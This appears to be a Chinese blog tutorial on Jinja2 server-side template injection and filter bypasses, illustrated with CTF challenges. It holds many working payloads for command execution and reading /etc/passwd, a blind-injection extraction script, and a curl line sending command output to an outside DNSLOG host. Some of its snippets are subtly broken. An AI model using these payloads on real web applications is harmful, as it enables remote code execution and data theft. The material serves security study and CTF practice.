文章归档

置顶文章

Web安全

Web安全基础

PHP相关

Writeups

靶机系列

HackTheBox-Retired

HackTheBox-Active

VulnHub

代码审计

PHP代码审计

大数据安全

机器学习

基础学习

Python

Python基础

Python安全

Java

Java基础

Java安全

算法

Leetcode

随笔

经验

技术

 2020-12-19   4.5k

jinja2 SSTI & Bypass

本文主要针对jinja2的SSTI做一些讲解和说明。

常用的内建属性

__class__

用于返回对象所属的类,和type()相同:

1
2
3
4
5
6
>>> ''.__class__
<class 'str'>
>>> ().__class__
<class 'tuple'>
>>> [].__class__
<class 'list'>

__base__

以字符串的形式返回一个类所继承的类,一般情况下是object

__bases__

以元组的形式返回一个类所继承的类

__mro__

返回解析方法调用的顺序,按照子类到父类到父父类的顺序返回所有类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
>>> class Father():
... def __init__(self):
... pass
...
>>> class GrandFather():
... def __init__(self):
... pass
...
>>> class son(Father,GrandFather):
... pass
...
>>> print(son.__base__)
<class '__main__.Father'>
>>> print(son.__bases__)
(<class '__main__.Father'>, <class '__main__.GrandFather'>)
>>> print(son.__mro__)
(<class '__main__.son'>, <class '__main__.Father'>, <class '__main__.GrandFather'>, <class 'object'>)

__subclasses__()

得到object类后,就可以用__subclasses__()获取所有的子类:

1
2
>>> [].__class__.__base__.__subclasses__()
[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'traceback'>, <class 'super'>, <class 'range'>, <class 'dict'>, <class 'dict_keys'>, <class 'dict_values'>, <class 'dict_items'>, <class 'odict_iterator'>, <class 'set'>, <class 'str'>, <class 'slice'>, <class 'staticmethod'>, <class 'complex'>, <class 'float'>, <class 'frozenset'>, <class 'property'>, <class 'managedbuffer'>, <class 'memoryview'>, <class 'tuple'>, <class 'enumerate'>......

__dict__

我们在获得到一个模块时想调用模块中的方法,恰好该方法被过滤了,就可以用该方法bypass

1
2
3
4
5
>>> import os
>>> os.system('ls')
1 2
>>> os.__dict__['s'+'ystem']('ls')
1 2

与dir()作用相同,都是返回属性、方法等;但一些数据类型是没有__dict__属性的,如[].__dict__会返回错误

__dict__只会显示属于自己的属性,dir()除了显示自己的属性,还显示从父类继承来的属性

可以使用__dict__来间接调用一些属性或方法,如:

1
2
3
4
>>> a = []
>>> [].__class__.__dict__['append'](a, 'ling')
>>> a
['ling']

__init__

__init__用于初始化类,作用就是为了得到function/method模型

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
>>> class Base:
... def __init__(self, a, b):
... self.a = a
... def func():
... pass
...
>>> class Child(Base):
... pass
...
>>> Child
<class '__main__.Child'>
>>> Child.__init__
<function Base.__init__ at 0x10cc23e50>
>>> Child.func
<function Base.func at 0x10cc23ee0>

__globals__

会以字典类型返回当前位置的全部模块,方法和全局变量,用于配合__init__使用

1
2
3
4
5
6
7
8
9
10
11
12
13
>>> class Student:
... def __init__(self):
... pass
...
>>> stu = Student()
>>> stu.__init__
<bound method Student.__init__ of <__main__.Student object at 0x10cc71880>>
>>> stu.__init__.__globals__
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'Base': <class '__main__.Base'>, 'Child': <class '__main__.Child'>, 'Student': <class '__main__.Student'>, 'stu': <__main__.Student object at 0x10cc71880>}
>>> Student.__init__.__globals__
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'Base': <class '__main__.Base'>, 'Child': <class '__main__.Child'>, 'Student': <class '__main__.Student'>, 'stu': <__main__.Student object at 0x10cc71880>}
>>> Student.__init__
<function Student.__init__ at 0x10cc23f70>

果该关键字被过滤了我们可以使用__getattribute__,以下两者等效

1
2
__init__.__globals__['sys']
__init__.__getattribute__('__global'+'s__')['sys']

builtins__builtin____builtins__的区别

在 Python 中,有很多函数不需要任何 import 就可以直接使用,例如chropen。之所以可以这样,是因为 Python 有个叫内建模块(或者叫内建命名空间)的东西,它有一些常用函数,变量和类。

在 2.x 版本中,内建模块被命名为 __builtin__,到了 3.x 就成了 builtins。它们都需要 import 才能查看:

python2

1
2
3
>>> import __builtin__
>>> __builtin__
<module '__builtin__' (built-in)>

python3

1
2
3
>>> import builtins
>>> builtins
<module 'builtins' (built-in)>

__builtins__ 两者都有,实际上是__builtin__builtins 的引用。它不需要导入。不过__builtins____builtin__builtins是有一点区别的,__builtins__ 相对实用一点,并且在 __builtins__里有很多好东西:

1
2
3
4
5
6
7
8
9
>>> '__import__' in dir(__builtins__)
True
>>> __builtins__.__dict__['__import__']('os').system('whoami')
macr0phag3
0
>>> 'eval' in dir(__builtins__)
True
>>> 'execfile' in dir(__builtins__)
True

构造链的思路

第一步

使用__class__来获取内置类所对应的类,可以使用strdicttuplelist等来获取。

1
2
3
4
5
6
7
8
9
10
>>> ''.__class__
<class 'str'>
>>> [].__class__
<class 'list'>
>>> ().__class__
<class 'tuple'>
>>> {}.__class__
<class 'dict'>
>>> "".__class__
<class 'str'>

第二步

拿到object基类

__bases__[0]拿到基类:

1
2
>>> ''.__class__.__bases__[0]
<class 'object'>

__base__拿到基类:

1
2
>>> ''.__class__.__base__
<class 'object'>

__mro__[1]__mro__[-1]拿到基类:

1
2
3
4
>>> ''.__class__.__mro__[1]
<class 'object'>
>>> ''.__class__.__mro__[-1]
<class 'object'>

第三步

__subclasses__()拿到子类列表:

1
2
>>> ''.__class__.__bases__[0].__subclasses__()
...一大堆的子类

第四步

在子类列表中寻找中寻找可以getshell的类

寻找利用链

我们一般来说是先知晓一些可以getshell的类,然后再去跑这些类的索引,然后这里先讲述如何去跑索引,再详写可以getshell的类

这里先给出一个在本地遍历的脚本,原理是先遍历所有子类,然后再遍历子类的方法的所引用的东西,来搜索是否调用了我们所需要的方法,这里以popen为例子。

local_find.py

1
2
3
4
5
6
7
8
9
search = 'popen'
num = -1
for i in ().__class__.__base__[0].__subclasses__:
num += 1
try:
if search in i.__init__.__globals__.keys():
print(num, i)
except:
pass

运行这个脚本后:

可以发现object基类的第132个子类名为os._wrap_close的这个类有popen方法

先调用它的__init__方法进行初始化类,再调用__globals__可以获取到方法内以字典的形式返回的方法、属性等值,最后调用popen函数来执行命令

但是上面的方法仅限于在本地寻找,remote_find.py

1
2
3
4
5
6
7
8
9
10
11
12
import requests
import time

for i in range(300):
time.sleep(0.1)
payload = "{{().__class__.__mro__[-1].__subclasses__()[%s]}}" % i
url = ""
r = requests.post(url + payload)
if "catch_warnings" in r.text:
print(r.text)
print(i)
break

python3的方法

os._wrap_close类中的popen

payload:

1
{{"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()}}

__import__中的os

把上面local_find.py脚本中的search变量换成__import__

可以看到有5个类下是包含__import__的,随便用一个即可

payload:

1
{{"".__class__.__bases__[0].__subclasses__()[80].__init__.__globals__.__import__('os').popen('whoami').read()}}

python2的方法

tips:python2的string类型不直接从属于属于基类,所以要用两次 __bases__[0]

file类读写文件

然后直接调用里面的方法即可,payload如下:

1
2
3
{{().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()}}

{{().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').readlines()}}

warnings类中的linecache

1
2
3
4
>>> [].__class__.__base__.__subclasses__()[58]
<class 'warnings.WarningMessage'>
>>> [].__class__.__base__.__subclasses__()[59]
<class 'warnings.catch_warnings'>

payload:

1
[].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].os.popen('whoami').read()

python2和python3通用方法

__builtins__代码执行

把上面local_find.py脚本search变量赋值为__builtins__

再调用eval等函数和方法即可,payload:

1
2
3
4
5
6
7
{{().__class__.__bases__[0].__subclasses__()[134].__init__.__globals__['__builtins__']['eval']("__import__('os').system('whoami')")}}

{{().__class__.__bases__[0].__subclasses__()[134].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}}

{{().__class__.__bases__[0].__subclasses__()[134].__init__.__globals__['__builtins__']['__import__']('os').popen('whoami').read()}}

{{().__class__.__bases__[0].__subclasses__()[134].__init__.__globals__['__builtins__']['open']('/etc/passwd').read()}}

总而言之,原理都是先找到含有__builtins__的类,然后再进一步利用。

os

这个我在python3.8环境下好像没能找到直接含有os的类,python2.7.18下有两个类:

1
2
<class 'site._Printer'>
<class 'site.Quitter'>

Payload:

1
{{().__class__.__base__.__subclasses__()[76].__init__.__globals__['os'].popen('whoami').read()}}

获取配置信息

config

通常会用{{config}}查询配置信息

request

jinja2中存在对象request

查询一些配置信息

1
{{request.application.__self__._get_data_for_json.__globals__['json'].JSONEncoder.default.__globals__['current_app'].config}}

构造ssti的payload

1
2
{{request.__init__.__globals__['__builtins__'].open('/etc/passwd').read()}}
{{request.application.__globals__['__builtins__'].open('/etc/passwd').read()}}

url_for

查询配置信息

1
{{url_for.__globals__['current_app'].config}}

构造ssti的payload

1
{{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}}

get_flashed_messages

查询配置信息

1
{{get_flashed_messages.__globals__['current_app'].config}}

构造ssti的payload

1
{{get_flashed_messages.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()")}}

Bypass

过滤.

[]绕过

1
2
{{().__class__}}
{{()['__class__']}}

attr()绕过

1
2
{{().__class__}}
{{()|attr('__class__')}}

getattr()绕过

1
2
{{().__class__}}
{{getattr((),"__class__")}}

过滤引号

五种不同的请求方式绕过:

1
2
3
4
5
request.args.name
request.values.name
request.cookies.name
request.headers.name
request.form.name

GET

1
{{().__class__.__bases__[0].__subclasses__()[213].__init__.__globals__.__builtins__[request.args.arg1](request.args.arg2).read()}}&arg1=open&arg2=/etc/passwd

POST

1
2
{{().__class__.__bases__[0].__subclasses__()[40].__init__.__globals__.__builtins__[request.values.arg1](request.values.arg2).read()}}
POST:arg1=open&arg2=/etc/passwd
1
2
{{().__class__.__bases__[0].__subclasses__()[40].__init__.__globals__.__builtins__[request.cookies.arg1](request.cookies.arg2).read()}}
Cookie:arg1=open;arg2=/etc/passwd

chr绕过

过滤_

编码绕过

使用十六进制编码绕过,_编码后为\x5f.编码后为\x2E

payload:

1
{{()["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbases\x5f\x5f"][0]["\x5f\x5fsubclasses\x5f\x5f"]()[376]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]['popen']('whoami')['read']()}}

关键字也可以使用十六进制编码

1
2
3
4
5
6
7
8
string1="__class__"
def tohex(string):
result = ""
for i in range(len(string)):
result=result+"\\x"+hex(ord(string[i]))[2:]
print(result)

tohex(string1)

比如说NCTF2020 你是我的master吗 这道题:

waf:

1
blacklist = ['%','-',':','+','class','base','mro','_','config','args','init','global','.','\'','req','|','attr','get']

payload:

1
?name={{""["\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"]["\x5f\x5f\x62\x61\x73\x65\x5f\x5f"]["\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f"]()[64]["\x5f\x5f\x69\x6e\x69\x74\x5f\x5f"]["\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f"]["\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f"]["\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f"]("\x6f\x73")["\x70\x6f\x70\x65\x6e"]("ls")["\x72\x65\x61\x64"]()}}

全16进制,只能在SSTI的时候用。

request绕过

同上

过滤关键字

双写、大小写

拼接字符

+拼接

1
2
{{()['__cla'+'ss__'].__bases__[0]}}
{{()['__cla''ss__'].__bases__[0]}}

join拼接

1
{{()|attr(["_"*2,"cla","ss","_"*2]|join)}}

格式化+管道符

1
{{()|attr(request.args.f|format(request.args.a))}}&f=__c%sass__&a=l

替代方法

过滤init,可以用__enter____exit__替代

过滤config

1
2
{{self}} ⇒ <TemplateReference None>
{{self.__dict__._TemplateReference__context}}

过滤[]

索引中的[]

1
2
3
4
5
6
>>> ["a","b","c"][1]
'b'
>>> ["a","b","c"].pop(1)
'b'
>>> ["a","b","c"].__getitem__(1)
'b'

Payload:

1
2
3
{{().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(433).__init__.__globals__.popen('whoami').read()}

{{().__class__.__base__.__subclasses__().pop(433).__init__.__globals__.popen('whoami').read()}}

魔术方法中的[]

魔术方法中本来是没有中括号的,但是如果需要使用[]绕过关键字的话,可以用__getattribute__绕过

1
{{"".__getattribute__("__cla"+"ss__").__base__}}

也可以配合requests绕过

1
{{().__getattribute__(request.args.arg1).__base__}}&arg1=__class__

Payload:

1
{{().__getattribute__(request.args.arg1).__base__.__subclasses__().pop(376).__init__.__globals__.popen(request.args.arg2).read()}}&arg1=__class__&arg2=whoami

过滤{}

DNSLOG外带数据

{%%}替代,使用判断语句进行dns外带数据:

1
{% if ().__class__.__base__.__subclasses__()[433].__init__.__globals__['popen']("curl `whoami`.k1o75b.ceye.io").read()=='ssti' %}1{% endif %}

盲注

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests

url = 'http://ip:5000/?name='

def check(payload):
r = requests.get(url+payload).content
return 'kawhi' in r

password = ''
s = r'0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"$\'()*+,-./:;<=>[email protected][\\]^`{|}~\'"_%'

for i in xrange(0,100):
for c in s:
payload = '{% if ().__class__.__bases__[0].__subclasses__()[40].__init__.__globals__.__builtins__.open("/etc/passwd").read()['+str(i)+':'+str(i+1)+'] == "'+c+'" %}kawhi{% endif %}'
if check(payload):
password += c
break
print password

print标记

1
{%print ().__class__.__bases__[0].__subclasses__()[40].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")%}

Bypass Plus

介绍一些常见过滤组合和最近的赛题。

过滤_.'

python3下可以使用_frozen_importlib_external.FileLoaderget_data()方法,第一个是参数0,第二个为要读取的文件名:

1
{{().__class__.__bases__[0].__subclasses__()[222].get_data(0,"app.py")}}

下划线可以用编码绕过和requests绕过:

1
{{()["\x5f\x5fclass\x5f\x5f"]["\x5F\x5Fbases\x5F\x5F"][0]["\x5F\x5Fsubclasses\x5F\x5F"]()[222]["get\x5Fdata"](0, "app\x2Epy")}}

过滤args._

参考y1ng师傅的payload:

1
2
3
{{()|attr(request['values']['x1'])|attr(request['values']['x2'])|attr(request['values']['x3'])()|attr(request['values']['x4'])(40)|attr(request['values']['x5'])|attr(request['values']['x6'])|attr(request['values']['x4'])(request['values']['x7'])|attr(request['values']['x4'])(request['values']['x8'])(request['values']['x9'])}}

post:x1=__class__&x2=__base__&x3=__subclasses__&x4=__getitem__&x5=__init__&x6=__globals__&x7=__builtins__&x8=eval&x9=__import__("os").popen('whoami').read()

Update

Unicode绕过

安洵杯2020 EasyFlask:https://github.com/D0g3-Lab/i-SOON_CTF_2020

GitHub上的题目环境有点问题,文件给的好像不全。

可以看一下过滤:

直接来看payload:

1
{%print(lipsum|attr(%22\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f%22))|attr(%22\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f%22)(%22os%22)|attr(%22popen%22)(%22whoami%22)|attr(%22read%22)()%}

其中print用来绕过{{}}`,`attr`绕过`.`。 然后这里的`lipsum`是一个方法,可以直接调用os方法,也可以使用`__buildins__`:

1
2
{{lipsum.__globals__['os'].popen('whoami').read()}}
{{lipsum.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}}
再使用Unicode编码绕过 ![](https://ca0y1h-bucket-1.oss-cn-hangzhou.aliyuncs.com/blog_img/20201219211449.png)
1
2
{{()|attr("__class__")}}
{{()|attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f")}}
所以官方给的payload就是:
1
{%print(lipsum|attr("__globals__"))|attr("__getitem__")("os")|attr("popen")("whoami")|attr("read")()%}
在线网址转换:https://www.branah.com/unicode-converter PHP脚本转换:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
<?php
//字符串转Unicode编码
function unicode_encode($strLong) {
$strArr = preg_split('/(?<!^)(?!$)/u', $strLong);//拆分字符串为数组(含中文字符)
$resUnicode = '';
foreach ($strArr as $str)
{
$bin_str = '';
$arr = is_array($str) ? $str : str_split($str);//获取字符内部数组表示,此时$arr应类似array(228, 189, 160)
foreach ($arr as $value)
{
$bin_str .= decbin(ord($value));//转成数字再转成二进制字符串,$bin_str应类似111001001011110110100000,如果是汉字"你"
}
$bin_str = preg_replace('/^.{4}(.{4}).{2}(.{6}).{2}(.{6})$/', '$1$2$3', $bin_str);//正则截取, $bin_str应类似0100111101100000,如果是汉字"你"
$unicode = dechex(bindec($bin_str));//返回unicode十六进制
$_sup = '';
for ($i = 0; $i < 4 - strlen($unicode); $i++)
{
$_sup .= '0';//补位高字节 0
}
$str = '\\u' . $_sup . $unicode; //加上 \u 返回
$resUnicode .= $str;
}
return $resUnicode;
}
//Unicode编码转字符串方法1
function unicode_decode($name)
{
// 转换编码,将Unicode编码转换成可以浏览的utf-8编码
$pattern = '/([\w]+)|(\\\u([\w]{4}))/i';
preg_match_all($pattern, $name, $matches);
if (!empty($matches))
{
$name = '';
for ($j = 0; $j < count($matches[0]); $j++)
{
$str = $matches[0][$j];
if (strpos($str, '\\u') === 0)
{
$code = base_convert(substr($str, 2, 2), 16, 10);
$code2 = base_convert(substr($str, 4), 16, 10);
$c = chr($code).chr($code2);
$c = iconv('UCS-2', 'UTF-8', $c);
$name .= $c;
}
else
{
$name .= $str;
}
}
}
return $name;
}
//Unicode编码转字符串
function unicode_decode2($str){
$json = '{"str":"' . $str . '"}';
$arr = json_decode($json, true);
if (empty($arr)) return '';
return $arr['str'];
}
echo unicode_encode('__class__');
echo unicode_decode('\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f');
//\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f__class__
### 魔改字符 太湖杯easy_web,上面所说的过滤双大括号,在一些特定的题目可以魔改`{{}}
,比如说这道题由于有个字符规范器可以把我们输入的文本标准化,所以可以使用这种方法。

可以在Unicode字符网站寻找绕过的字符,直接在网址搜索{,就会出现类似的字符,就可以找到了,网址:https://www.compart.com/en/unicode/U+FE38

Payload:

1
2
︷︷config︸︸
%EF%B8%B7%EF%B8%B7config%EF%B8%B8%EF%B8%B

Reference

http://www.cl4y.top/ssti模板注入学习/

https://xi4or0uji.github.io/2019/01/15/flask之ssti模板注入/

https://www.m00nback.xyz/2020/02/16/Python沙箱逃逸/

https://www.cnblogs.com/bmjoker/p/13508538.html#mr4YxS2y

https://blog.szfszf.top/article/15/

https://p0sec.net/index.php/archives/120/

https://xz.aliyun.com/t/8029

https://xz.aliyun.com/t/7746

https://mp.weixin.qq.com/s/_6ObDR5YKpLFoQXTYXE_pQ

Copyright © ca01h 2019-2021 | 本站总访问量